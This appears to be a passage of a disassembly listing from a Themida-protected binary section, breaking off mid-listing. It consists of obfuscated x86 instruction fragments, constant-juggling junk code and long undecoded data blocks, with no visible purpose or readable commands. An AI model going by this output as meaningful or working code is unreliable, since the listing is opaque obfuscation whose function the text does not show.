dd 64AE4000h, 0FFD70AE9h, 772EE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C2F2: ; CODE XREF: Themida_:00545FC4j mov esi, 55B66916h inc esi jmp loc_548ED8 ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 0C82256BFh, 0C7814761h, 0C91054AAh, 0FFF7A3E9h, 0B45066FFh dd 66E6887Eh, 9513E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C31E: ; CODE XREF: Themida_:0054C4D8j pop esi sub esi, 0FFFFFFFFh neg esi push ebx jmp loc_54DBD3 ; --------------------------------------------------------------------------- db 80h, 0EDh, 54h dd 0C8BE888h, 4C48324h, 50519B04h, 0C4FE61B4h, 886DEC80h dd 0DE958E1h, 2900002Ch, 0D8295AD0h, 0FFF40DE9h, 24248BFFh dd 0E99CC884h, 0FFFF76C0h, 0BA52505Bh, 1D731E7Dh, 1FC9E9h db 0 ; --------------------------------------------------------------------------- loc_54C36D: ; CODE XREF: Themida_:00546444j xchg ecx, [esp] pop esp mov [esp], ecx mov ecx, 165F8C75h sub edi, ecx pop ecx sub ebx, edi jmp loc_54956E ; --------------------------------------------------------------------------- loc_54C383: ; CODE XREF: Themida_:0054F938j mov ecx, [esp] jmp loc_54A474 ; --------------------------------------------------------------------------- db 0B8h dd 37510964h, 2DD0F748h, 0C8AEF698h, 0DDE9C701h, 0FFFFFF93h dd 34FF2434h, 0E9575824h, 0FFFF8A0Ah, 1C7668h, 242C8900h dd 0E45DDFBDh, 24E58132h, 81306238h, 0CE073DCDh, 20FE96Dh dd 14300000h, 24143224h, 66241430h, 66181A68h, 0E9240489h dd 0FFFFA8F1h, 0E9243C89h, 0FFFFB7ACh ; --------------------------------------------------------------------------- loc_54C3E8: ; CODE XREF: Themida_:0054B6A5j push esi mov esi, esp jmp loc_54F65D ; --------------------------------------------------------------------------- dd 240C8B66h, 68E28952h, 354Dh, 52243C89h, 4DDE9h, 59CD0100h dd 200968h, 24048900h, 4B8h, 0CB9EE900h, 455FFFFFh, 0E9E78957h dd 0FFFFD9A8h, 4C1815Eh, 87000000h, 0EE9240Ch, 8100002Bh dd 5D9A14C2h, 0A30EE9DAh, 0C381FFFFh, 27B2FC3h, 30E9BF57h dd 0FB29C576h, 0D8A9E95Fh, 295AFFFFh, 24348BF0h, 5004C483h dd 50656855h, 2C8B22E9h, 4C48324h, 69C9ED81h, 0C5816C73h dd 89E4946Fh, 58E9E889h, 8BFFFF98h, 5EE92424h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C483: ; CODE XREF: Themida_:0054BE06j xor [esp], ebp xor ebp, [esp] pop esp pop ebx jmp loc_543A20 ; --------------------------------------------------------------------------- dd 0E9028F64h, 0FFFF7588h, 2104F181h, 0B850418Eh, 8FE27709h dd 0FFBFA3E9h, 0EB0058FFh, 0C0B60F59h, 6887048Dh, 59CDh dd 0E9240489h, 0FFFF7560h, 75CEBA52h, 0CA814714h, 7AA66A1Fh dd 0FFF2F2E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C4D1: ; CODE XREF: Themida_:0054AECBj push edx push esi push 5C4C32A8h jmp loc_54C31E ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 aHG db '$h(g',0 align 2 aIH db '‰,$h¶)',0 align 2 dw 2489h dd 24048124h, 4, 8B2434FFh, 0C483242Ch, 4C48304h, 0D9CE9h dd 0D3F58100h, 0E9039D8Bh, 0FFFFB69Ch ; --------------------------------------------------------------------------- loc_54C514: ; CODE XREF: Themida_:00545C5Dj push edi mov edi, 76022FE3h or edi, 4544444Dh sub edi, 73064BAAh sub esi, edi jmp loc_549A81 ; --------------------------------------------------------------------------- db 0FFh, 77h, 1Ch dd 6659669Dh, 9C2414D3h, 0FF74E3E9h, 0E95453FFh, 0FFFFA66Eh ; --------------------------------------------------------------------------- loc_54C544: ; CODE XREF: Themida_:00547F6Fj sub dh, al pop ax xor al, dh push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_54D6B6 ; --------------------------------------------------------------------------- db 0F6h dd 0C57EE9D0h, 0F480FFFFh, 9677E9CFh, 0D501FFFFh, 0E92434FFh dd 0FFFF9DF8h, 0B7241C89h, 2BEF8027h, 0C7FED7F6h, 0FFEA1DE9h dd 2434FFFFh, 0FF2434FFh, 81582434h, 4C4h, 4C48300h, 0E904EC83h dd 0FFFFCB0Dh, 0C181C101h, 1A5861CBh, 0DCC1E953h, 7DBAFFFFh dd 317D1B2Dh, 44E959CAh, 81FFFFA3h, 4C4h, 4EC8100h, 89000000h dd 4CE92434h, 5C00000Fh, 5B240489h, 0FFCA6BE9h, 4FB951FFh dd 0E90A6969h, 0B91h ; --------------------------------------------------------------------------- loc_54C5E4: ; CODE XREF: Themida_:00548B24j pop esp jmp loc_545A59 ; --------------------------------------------------------------------------- dw 0A9B8h dd 0C10ABB6Ch, 8BE902E8h, 57FFFF84h, 4150FC68h, 0E01E929h dd 89660000h, 0FF662414h, 66022474h, 48F665Ah, 0CBFDE924h dd 1C8BFFFFh, 4C48124h, 83000000h, 0F9E904C4h db 73h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C627: ; CODE XREF: Themida_:005491B9j mov edi, [esp] add esp, 4 mov edx, ebx pop ebx xchg edi, edx dec edi jmp loc_5495A2 ; --------------------------------------------------------------------------- loc_54C638: ; CODE XREF: Themida_:005445C4j push 2F38764Dh pop ebx add ebx, 0EB26F81Ah mov edi, ebx pop ebx push edi pop ebx mov edi, [esp] push ecx jmp loc_546A4A ; --------------------------------------------------------------------------- dw 4F09h dd 0C5E9591Ch, 50FFFF73h, 114411B8h, 58C52930h, 0C15DEA29h dd 0CA8107EAh, 0EE547C6h, 0FFAFB0E9h, 55C2BAFFh, 0BB532BFFh dd 2F976AD2h, 5C2AE381h, 0C3811D13h, 49675EE3h, 0FFA4D0E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C691: ; CODE XREF: Themida_:0054F70Dj pop eax dec ecx add ecx, 0EFAB345h jmp loc_544A47 ; --------------------------------------------------------------------------- loc_54C69E: ; CODE XREF: Themida_:0054877Cj pop eax add esp, 4 jmp loc_543A20 ; --------------------------------------------------------------------------- dw 0F75Ah dd 6FC581DDh, 0E97EF73Fh, 538h, 9C48E9ACh, 401FFFFh, 24048124h dd 7B6D59E6h, 0B242C81h, 0E94E7338h, 0FFFFD8BFh, 8C6F5F2Dh dd 0E9F02929h, 0FFFFCC0Dh ; --------------------------------------------------------------------------- loc_54C6E0: ; CODE XREF: Themida_:005465A2j pop ebx push ebp jmp loc_544280 ; --------------------------------------------------------------------------- db 58h dd 5EADEB81h, 0EB8139D8h, 57C3704Ah, 0EC81C301h, 4, 0BA241489h dd 7DEA5E0Fh, 0EA81DAF7h, 7A520C3h, 38E8CA81h, 0F5E94271h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C717: ; CODE XREF: Themida_:00544A24j pop edi sub edx, 177B342Eh xor ecx, edx pop edx jmp loc_548AC0 ; --------------------------------------------------------------------------- dw 815Eh dd 292901C6h, 0E9F10136h, 15FCh, 8B2434FFh, 0C4812404h dd 4, 0FFE28FE9h, 4E0C1FFh, 12Dh, 222B0500h, 42D705Eh dd 29D5999Fh, 8EDFE9C6h, 0D188FFFFh, 0FF8A46E9h, 5BF988FFh dd 0C180D1F6h, 0FEC9FE26h, 2E1C0C9h, 0B1F180h, 0AC7FE9C8h dd 4481FFFFh, 24890824h, 75E900DDh, 5400002Dh, 0FF788BE9h dd 6B2BBFFh, 81430FE0h, 1FF951C3h, 0E9D901F0h, 0FFFF88BFh dd 6128CB9h, 59C80116h, 0DECE9h, 294BD00h, 0EF290340h dd 6DD5685Dh, 2C890000h, 0F397BD24h, 0C781C9FFh, 1F61ED4h dd 0EF81EF29h, 1F61ED4h, 5FF8015Dh, 1B2F6856h, 1C890000h dd 42C9BB24h, 0DE89389Ch, 5B2434FFh, 0FFBD2EE9h, 0E9C188FFh dd 0FFFFB570h, 2404215Ch, 721EE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C802: ; CODE XREF: Themida_:0054721Dj xor eax, 6A825E78h jmp loc_54F67F ; --------------------------------------------------------------------------- dd 5E08950h, 4, 405h, 4EC8100h, 89000000h, 74FF2404h, 48B0424h dd 0AC3EE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C82E: ; CODE XREF: Themida_:00543B79j and eax, edx push dword ptr [esp] pop edx push edx jmp loc_54833E ; --------------------------------------------------------------------------- dw 0D7F6h dd 0FF931BE9h, 242C89FFh, 2434FF54h, 0FFDCA7E9h, 48B66FFh dd 1A6B6824h, 2C890000h, 81E58924h, 4C5h, 835AE900h, 0E789FFFFh dd 465DBA52h, 0D8E924D0h db 0D8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C873: ; CODE XREF: Themida_:00548FCEj sub ebx, 49BD1D47h jmp loc_54BF18 ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFFCAFDh, 0C380C300h, 69EB80B1h, 31FB68h, 240C8900h dd 8061B450h, 0E480AAE4h, 61F48055h, 0E902ECC0h, 0FFFFACA3h ; --------------------------------------------------------------------------- loc_54C8A8: ; CODE XREF: Themida_:00545E07j mov ecx, ebx pop ebx jmp loc_5480D7 ; --------------------------------------------------------------------------- loc_54C8B0: ; CODE XREF: Themida_:0054D250j dec ecx inc ecx dec ecx sub ecx, 0D4232BB4h add ebx, ecx mov ecx, [esp] jmp loc_54534A ; --------------------------------------------------------------------------- db 59h dd 8124348Bh, 4C4h, 0B8F68100h, 0E97B461Ch, 0FFFFB4A6h dd 905353BBh, 8B83E94Ch, 0E3BAFFFFh, 0BF688450h, 36C26C12h dd 0C3E9D731h, 66FFFFDCh, 0E9E8285Bh, 0FFFFC9A7h, 9D1C77FFh dd 4105866h, 15E99C24h, 2CFFFF71h, 0B75351FFh, 0FE4FE937h dd 5E9FFFFh, 8BFFFF71h, 0E9562424h, 0FFFFC15Ch, 60E9C629h dd 0FFFFFFD5h, 0E4E92434h, 51FFFFDAh, 0FFFE6BE9h, 0F6E95CFFh dd 6600001Dh, 5302B60Fh, 5155E389h, 84207FB9h, 7637E924h dd 0E289FFFFh, 0FFACDEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C959: ; CODE XREF: Themida_:0054AAA4j mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp sub esp, 4 mov [esp], eax push esp pop eax jmp loc_54E44B ; --------------------------------------------------------------------------- loc_54C978: ; CODE XREF: Themida_:0054F5CAj mov eax, 2B8448C0h neg eax xor eax, 8D2CF59Ch and ecx, eax pop eax sub esp, 4 mov [esp], ebp jmp loc_54F873 ; --------------------------------------------------------------------------- align 2 aIysp db 'ëYép',0 align 4 db 0 ; --------------------------------------------------------------------------- loc_54C99D: ; CODE XREF: Themida_:00545EC6j xchg eax, [esp] dec eax jmp loc_549714 ; --------------------------------------------------------------------------- dw 72B2h dd 1FE9D328h, 89FFFF81h, 0BB53243Ch, 4, 15BDF89h, 0C5815FFDh dd 4, 8B242C87h, 0C8852424h, 704EE99Ch, 0EF80FFFFh, 0E9D70088h dd 0FFFFF4B1h, 31241C33h, 1C33241Ch, 25E95C24h, 5EFFFF7Eh dd 8B240487h, 4892424h, 48B5424h, 4C48124h, 51000000h dd 984DDEB9h, 1C18352h, 0FF8498E9h, 50B252FFh, 8BE95066h dd 81FFFFA4h, 4C4h, 0A6E95200h, 81FFFFF1h, 4C1h, 240C8700h dd 4EC815Ch, 89000000h, 0F1B22414h, 4EC81h, 4890000h, 80E9B424h dd 0F480BACCh, 58E20850h, 0E905E2C0h, 0FFFFB17Bh ; --------------------------------------------------------------------------- loc_54CA54: ; CODE XREF: Themida_:0054C103j xchg edx, [esp] pop edx xor edx, 0E9EB199Fh and ecx, edx pop edx shr ecx, 7 sub esp, 4 jmp loc_547206 ; --------------------------------------------------------------------------- db 53h dd 0FFBDCCE9h, 246C01FFh, 242C8B04h, 4C481h, 0C8B0000h dd 4C48324h, 4C181h, 0B8500000h, 2, 36DEC181h, 0C10176A0h dd 0FFF20DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CAA1: ; CODE XREF: Themida_:00543E2Aj and eax, edx jmp loc_546AC7 ; --------------------------------------------------------------------------- dd 0E924048Bh, 0FFFFA7DFh, 1B9h, 0FFC82100h, 34FF2434h dd 0D068E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CAC2: ; CODE XREF: Themida_:005486CAj xor eax, edx xor edx, eax xor eax, edx jmp loc_543C87 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0CDh dd 5BFFFFC9h, 3B20EB81h, 0DE0168E8h, 56241C8Bh, 0C681E689h dd 4, 8704C683h, 525C2434h, 4BAh, 0E9D60100h, 10A6h, 8324148Bh dd 0BD5504C4h, 76443081h, 0C105E5C1h, 0BB5308EDh, 569615Ch dd 7352CB81h, 2E95FF2h db 89h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CB1F: ; CODE XREF: Themida_:0054E921j push eax mov eax, 0BB97F93Ch xor esi, eax jmp loc_548BAC ; --------------------------------------------------------------------------- dd 0E9241C8Bh, 0FFFF99A9h, 0BA52F001h, 501B7F4Ah, 318E9h db 0 ; --------------------------------------------------------------------------- loc_54CB41: ; CODE XREF: Themida_:0054E011j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_548D94 ; --------------------------------------------------------------------------- db 81h, 0EBh, 0FFh dd 4BFFFFFFh, 1826EB81h, 814B2928h, 0A123BDF3h, 5BD921D2h dd 0FF82F1E9h, 0AFE95AFFh, 0FFFF95h, 3EE958C2h, 8100001Eh dd 531F76C1h, 24148B41h, 0FDC4E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CB8E: ; CODE XREF: Themida_:0054A8D8j xor ebp, 666759D2h push ecx mov ecx, 794A1F53h sub ecx, 20542D52h add ecx, 6E4F2770h push eax mov eax, 51983AE7h shl eax, 5 add eax, 38CC0CD3h shr eax, 3 add eax, 6EADD5F7h jmp loc_54AD50 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0 dd 142050Ah, 2434FFC1h, 4C48358h, 0FFD5F9E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CBD5: ; CODE XREF: Themida_:0054A634j mov ebx, [esp] push edi mov edi, esp jmp loc_546AEB ; --------------------------------------------------------------------------- dd 0E6464DBEh, 0FFF00168h, 0E95E2434h, 1A3Ah, 535DE901h dd 4BBh, 68E98100h, 13F6975h, 68C181D9h, 5B3F6975h, 0E9240C87h dd 0FFFFC344h, 4C281h, 0AFE90000h, 83FFFF84h, 0C68104C4h dd 4, 5C243487h, 6968D231h, 89000074h, 34FF241Ch, 24048B24h dd 8304C483h, 0C8904ECh, 4EC8124h, 89000000h, 0BE562424h dd 4, 4247401h, 0FFAF69E9h, 4EE953FFh db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC5F: ; CODE XREF: Themida_:00549D1Ej sub ebp, 2C703EECh add ebp, ecx add ebp, 2C703EECh mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 push 121Dh mov [esp], ebp jmp loc_54E02D ; --------------------------------------------------------------------------- dw 0C15Ah dd 0EEC103EEh, 34BA5204h, 0C13A4B07h, 0E28108EAh, 61CF5D46h dd 490AEA81h, 0CA8176F3h, 2DA46C9Eh, 0FFC673E9h, 2434FFFFh dd 4C4815Ah, 4000000h, 339E933h, 0F7660000h, 644768F9h dd 1C890000h, 1C8B5424h, 7E72E924h, 0C89FFFFh, 91E95224h dd 89000008h, 165CE9E1h, 0EB830000h, 75EB8101h, 81310007h dd 38560DF3h, 0E9D8011Ch, 0FFFF7D60h, 4B850h, 0C7890000h dd 0E9BE5658h, 0E9020E2Bh, 1C61h, 4E01E181h, 0E1C11E36h dd 0B1A5E907h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD1A: ; CODE XREF: Themida_:0054DEF2j mov ebx, eax pop eax mov ecx, ebx jmp loc_54E30C ; --------------------------------------------------------------------------- dd 4B4D3605h, 4566869h, 0C890000h, 7DC6E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD36: ; CODE XREF: Themida_:0054C2DDj push eax push esi mov esi, 13DC495Ch xor esi, 258C545Dh not esi dec esi jmp loc_549A73 ; --------------------------------------------------------------------------- loc_54CD4B: ; CODE XREF: Themida_:00543EA6j pop ebx sub ebx, 36A91B3Bh pop eax sub ebx, 0A5F2047h add ebx, 4E0E6C0Bh add ebx, edi sub ebx, 4E0E6C0Bh add ebx, 0A5F2047h mov ecx, [ebx] push dword ptr [esp] pop ebx add esp, 4 push ebp mov ebp, esp jmp loc_5484CE ; --------------------------------------------------------------------------- dw 8358h dd 30E904C4h db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CD87: ; CODE XREF: Themida_:00549A92j add ecx, esi jmp loc_547AD8 ; --------------------------------------------------------------------------- dw 0C181h dd 0F71FBBFFh, 0FFF8B9E9h, 243433FFh, 0FFFB7AE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CDA1: ; CODE XREF: Themida_:005493A7j add ecx, 0F68B3F4Eh mov edx, ecx pop ecx add edx, 2AFD48C2h add edx, edi sub edx, 2AFD48C2h sub esp, 4 jmp loc_54B9D7 ; --------------------------------------------------------------------------- db 55h dd 468h, 242C8B00h, 0FF9D69E9h, 3070B4FFh, 22E958E1h, 0E9FFFF83h dd 0FFFF6C40h, 2414F756h, 0FFF93DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CDE9: ; CODE XREF: Themida_:00544E5Dj push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] or edx, eax shl edx, 1 xor [edi+24h], ecx push edx jmp loc_546A33 ; --------------------------------------------------------------------------- dw 0C483h dd 4C48104h, 0E9000000h, 7A8h ; --------------------------------------------------------------------------- loc_54CE10: ; CODE XREF: Themida_:005484C9j add edx, 2883323Fh jmp loc_544CD8 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 6BFAE900h, 0C783FFFFh, 0D03EE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CE2E: ; CODE XREF: Themida_:0054F2A3j mov edx, 4 add eax, edx pop edx push 3ED8h jmp loc_549CF3 ; --------------------------------------------------------------------------- loc_54CE40: ; CODE XREF: Themida_:00549D60j mov eax, esp add eax, 4 jmp loc_54EA24 ; --------------------------------------------------------------------------- dd 0BA52F001h, 6DA86463h, 0FFB3D7E9h, 5AD029FFh, 8124348Bh dd 4C4h, 44BD5500h, 0C163362Ch, 0E5C107EDh, 94F58108h dd 56D43633h, 6045BEBEh, 0A55FE957h, 0D601FFFFh, 2ABDE9h dd 2434FF00h, 8428E95Fh, 248BFFFFh, 2404D224h, 6B82E99Ch dd 0B951FFFFh, 7B461CB8h, 4244C31h, 0FFFA16E9h db 0FFh ; --------------------------------------------------------------------------- loc_54CEAD: ; CODE XREF: Themida_:00544736j xchg eax, edx xchg edx, [esp] pop ebp xor [esp], ebp xor ebp, [esp] xor [esp], ebp mov eax, [esp] push ebx push esp pop ebx jmp loc_548B18 ; --------------------------------------------------------------------------- dw 0A8B6h dd 86A8EE80h, 86CBFEDEh, 0C2B450DEh, 2C54E9h, 7AEB8000h dd 0C380D300h, 2434FF7Ah, 17E7E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CEEA: ; CODE XREF: Themida_:0054E140j mov edx, 3FA735E1h sub edx, 49B63A5Fh jmp loc_547190 ; --------------------------------------------------------------------------- dw 487h dd 0C895C24h, 68685624h, 0E97B5C1Eh, 0FFFFBD0Dh, 716768h dd 241C8900h, 0FB551268h, 0C3815B30h, 554D64F6h, 45FCC381h dd 0C18179B7h, 39A66464h, 0BAE9D901h, 0F7FFFF92h, 0C28142DAh dd 3085E08h, 0EA81EAD1h, 4F239B84h, 875AD101h, 0E95C240Ch dd 0FFFFD14Bh, 159CE89h, 0E9042474h, 0FFFF9C3Dh, 81E68956h dd 4C6h, 4C68100h, 87000000h, 875C2434h, 0C5E92434h, 66000008h dd 56240C8Bh, 0FFDB8DE9h, 815A54FFh, 4C2h, 4C28100h, 87000000h dd 565C2414h, 4BEh, 0A87EE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CF9E: ; CODE XREF: Themida_:0054958Ej add ebx, 4E4E5FE8h jmp loc_549BF8 ; --------------------------------------------------------------------------- db 56h, 0BEh, 0ADh dd 46335F6Ah, 6AAAF681h, 0F101335Fh, 76E9565Eh, 89FFFF7Fh dd 4C281E2h, 0E9000000h, 0FFFF6CD1h, 4C4815Bh, 81000000h dd 4C4h, 6A42E900h, 0B8FFFFh, 2D000000h, 741D505Fh, 5F05C829h dd 89741D50h, 57E958C1h, 28FFFFB2h, 5B332CF8h, 0FFC8B4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D001: ; CODE XREF: Themida_:0054A838j pop edx push eax sub esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_544E4E ; --------------------------------------------------------------------------- dw 505Eh dd 4B8h, 8BC22900h, 65E92404h, 31FFFFC8h, 0E68956D8h, 4C681h dd 0EE830000h, 24343304h, 0E9243431h, 0FFFF6ACBh, 195215BEh dd 81DEF763h, 661701EEh, 0C9CE8117h, 810F3759h, 0C66434EEh dd 0C0ADE924h, 0E95FFFFFh, 0FFFFF9B3h, 42474FFh, 24048F5Bh dd 48B665Ch, 0EC94E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D082: ; CODE XREF: Themida_:00546B94j sub edi, eax jmp loc_54E1B9 ; --------------------------------------------------------------------------- db 88h, 0E7h, 8Bh dd 0C4832404h, 0FD885A04h, 83241C8Bh, 0E83004C4h, 240C8B66h dd 2C481h, 0EB800000h, 4FAA68B7h, 4890000h, 0C0A3B424h dd 0C48007ECh, 5DC48006h, 66E2CC80h, 305FB753h, 285B66FCh dd 15E958E3h, 81FFFFE7h, 0A8EA99EBh, 16952D4Fh, 0A805428Ah dd 52C8F26h, 1C58705Ch, 5C2DD829h, 2D1C5870h, 2C8F26A8h dd 222BB951h, 0F181639Bh, 42C11C2Ah, 0FFFC0BE9h, 68FFh dd 295E0000h, 0E9F389DEh, 2A00h, 0ADCEE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D116: ; CODE XREF: Themida_:00548C78j pop ecx jmp loc_546D43 ; --------------------------------------------------------------------------- dd 0F5281EB5h, 148EE9h, 5E08900h, 4, 0BCE95157h, 66FFFFA9h dd 8124048Bh, 4ECh, 24048900h, 46E9E089h, 0ACFFFFB0h, 8904EC83h dd 13E9240Ch, 0BD00001Ch, 1B100DC3h, 0FF48B850h, 34E909A1h dd 0BEFFFF6Ch, 4, 685EF301h, 6143h, 0D39E9h, 0C3F18100h dd 31432469h, 36E959CDh db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D183: ; CODE XREF: Themida_:0054FA1Ej sub ax, 0D6h mov edx, [esp] add esp, 4 push ecx mov ecx, esp add ecx, 4 sub ecx, 2 jmp loc_54AA1F ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 0FFBBD7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D1A9: ; CODE XREF: Themida_:0054B563j push ebx mov ebx, 13D73E5Dh and ebx, 4F4F065Ah sub ebx, 247207C6h add ebx, 351E608Bh neg ebx add ebx, 9D53793Eh add esi, 567459E7h sub esi, ebx sub esi, 567459E7h mov ebx, [esp] jmp loc_54D30A ; --------------------------------------------------------------------------- loc_54D1DF: ; CODE XREF: Themida_:00545C8Fj push ecx jmp loc_548383 ; --------------------------------------------------------------------------- loc_54D1E5: ; CODE XREF: Themida_:0054DA52j mov edi, [esp] add esp, 4 sub esi, 0B7C73AFh add esi, eax add esi, 0B7C73AFh jmp loc_54658E ; --------------------------------------------------------------------------- db 89h, 2Ch, 24h dd 0FF87C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D209: ; CODE XREF: Themida_:00545929j add ebp, 4 xchg ebp, [esp] mov esp, [esp] xchg eax, [esp] pop esp mov ax, [esp] jmp loc_54E39E ; --------------------------------------------------------------------------- dw 8953h dd 4C381E3h, 0E9000000h, 0FFFFA622h ; --------------------------------------------------------------------------- loc_54D230: ; CODE XREF: Themida_:0054BFEFj sub esp, 4 jmp loc_5447E3 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFF67E0h, 6624248Bh, 9C240421h, 0FF67D3E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D24D: ; CODE XREF: Themida_:0054802Cj sub ecx, eax pop eax jmp loc_54C8B0 ; --------------------------------------------------------------------------- loc_54D255: ; CODE XREF: Themida_:005441D4j add edi, esi pop esi add edi, 4 xchg edi, [esp] pop esp pop ebx mov edi, [esp] add esp, 4 jmp loc_54511E ; --------------------------------------------------------------------------- db 0BFh dd 4, 4247C01h, 24048B5Fh, 5504C483h, 7F52BB53h, 56BD50A2h dd 2950A27Fh, 0E8015BDDh, 83242C8Bh, 20504C4h, 50000000h dd 42474FFh, 24048F58h, 0FF92D6E9h, 4BE56FFh, 1000000h dd 4DE95EF5h db 0EDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D2B3: ; CODE XREF: Themida_:0054D92Ej movzx ecx, al push 1482h mov [esp], ecx jmp loc_543A20 ; --------------------------------------------------------------------------- db 1 dd 0E904245Ch, 0BD5h, 16CE8146h, 0F7125277h, 81D6F7DEh dd 4ECh, 0CA6EE900h, 0CB29FFFFh, 0A6EB8159h, 1015A3Ch dd 8FEEE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D2F2: ; CODE XREF: Themida_:0054A4ACj push edi mov edi, 0E873015h dec edi sub edi, 7FA34292h add edi, 6493DA85h jmp loc_5445F5 ; --------------------------------------------------------------------------- loc_54D30A: ; CODE XREF: Themida_:0054D1DAj add esp, 4 and eax, esi pop esi or eax, eax jz loc_546D46 push dword ptr [edi+28h] push dword ptr [esp] jmp loc_54B867 ; --------------------------------------------------------------------------- loc_54D323: ; CODE XREF: Themida_:005445E7j pop ebp add ebp, edi pop edi push ebx push edx mov edx, 4 mov ebx, edx pop edx jmp loc_54EC2D ; --------------------------------------------------------------------------- dw 0EF80h dd 1BF6E9F7h, 1C890000h, 81E38924h, 4C3h, 4BF5700h, 29000000h dd 1C875FFBh, 4895C24h, 5E08924h, 4, 2646BF57h, 0E7C11EC2h dd 149CE907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D36E: ; CODE XREF: Themida_:00544193j push ebx mov ebx, 6F8D2A96h jmp loc_54A84B ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0FF669FE9h, 2E1C1FFh, 1B43E9h db 0 ; --------------------------------------------------------------------------- loc_54D389: ; CODE XREF: Themida_:00545DDFj mov edx, 632E3355h push ebp push edi mov edi, 4B9D23D5h mov ebp, edi mov edi, [esp] jmp loc_546952 ; --------------------------------------------------------------------------- db 33h dd 248B242Ch, 24040924h, 6672E99Ch, 0EA88FFFFh, 8853D2F6h dd 5BFD88D7h, 0F5805A66h, 59E8009Bh, 0FFB94CE9h, 4C483FFh dd 0E924048Fh, 0FFFFEF85h, 0A3E9EF29h db 0A0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D3D7: ; CODE XREF: Themida_:0054D6BFj add bl, 0FDh jmp loc_54ED5F ; --------------------------------------------------------------------------- db 88h dd 58C688E8h, 53D6F659h, 0FFE578E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D3ED: ; CODE XREF: Themida_:0054E25Dj push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp jmp loc_5484A3 ; --------------------------------------------------------------------------- db 80h dd 79E903E9h, 0FFFFFF7Ah, 565F2434h, 0BA52E689h, 4, 24F6C681h dd 67E9679Bh, 81FFFFFAh, 277F87EDh, 81F5012Ch, 277F87C5h dd 24348B2Ch, 4C481h, 0B9510000h, 2, 0FFB669E9h, 88E781FFh dd 816D8215h, 2A4878F7h, 863E92Dh, 0B9510000h, 534E4BCAh dd 8159CE29h, 6B0BBDEEh, 0B6EE816Bh, 293F9335h, 0B6C681CEh dd 813F9335h, 6B0BBDC6h, 0E41E96Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D476: ; CODE XREF: Themida_:0054745Ej shl ebp, 8 add ebp, 7D094A1Ch add dword ptr [esp+4], 29725CA7h add dword ptr [esp+4], 649D401Eh sub [esp+4], ebp sub dword ptr [esp+4], 649D401Eh sub dword ptr [esp+4], 29725CA7h pop ebp push dword ptr [esp] mov eax, [esp] add esp, 4 jmp loc_54BF87 ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 58000000h, 0FFF66BE9h, 48B66FFh, 26C6824h, 65E90000h db 9Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D4CF: ; CODE XREF: Themida_:00548DD4j xor [esp], ax pushf jmp loc_543A20 ; --------------------------------------------------------------------------- loc_54D4D9: ; CODE XREF: Themida_:00548B6Ej mov [esp], edx mov edx, 76C45B25h jmp loc_54EB20 ; --------------------------------------------------------------------------- dw 0B753h dd 7C05E9A2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D4EE: ; CODE XREF: Themida_:0054A3CBj add esp, 4 add esp, 4 sub [edi+24h], edx push dword ptr [esp] pop edx push edx jmp loc_54BDA9 ; --------------------------------------------------------------------------- db 8Bh dd 0E9F72424h, 3C468h, 24148900h, 5E99C50h, 0BEFFFF65h dd 3FCh, 2069E9h db 0 ; --------------------------------------------------------------------------- loc_54D525: ; CODE XREF: Themida_:005442BBj 